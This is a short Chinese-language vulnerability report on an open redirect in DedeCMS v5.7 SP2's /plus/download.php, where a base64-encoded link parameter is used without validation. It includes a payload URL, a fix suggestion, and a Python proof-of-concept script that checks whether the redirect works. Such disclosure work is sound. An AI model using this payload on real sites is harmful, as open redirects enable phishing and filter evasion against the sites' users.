复现版本
Dedecms v5.7 sp2 20180109 官方版本v5.7.74
漏洞描述
代码对于跳转的内容没有判断和过滤
漏洞分析
在/plus/download.php第58、59行
只对link参数进行了base64和url解码
第89行直接引用了link参数
漏洞利用步骤和截图
Payload:
http://dedecms/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20
aHR0cDovL3d3dy5iYWlkdS5jb20为百度的base64编码
修复建议
对link参数进行过滤或者判断
POC脚本
编写了一个简单的POC脚本
import requests
headers={
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8',
'Accept-Language': 'en-us,en;q=0.5',
'Connection': 'keep-alive',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
}
url='http://(网页地址)/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20'
response=requests.get(url=url,headers=headers).url
if('baidu' in response):
print('+++++OK+++++')
else:
print('-----Fail-----')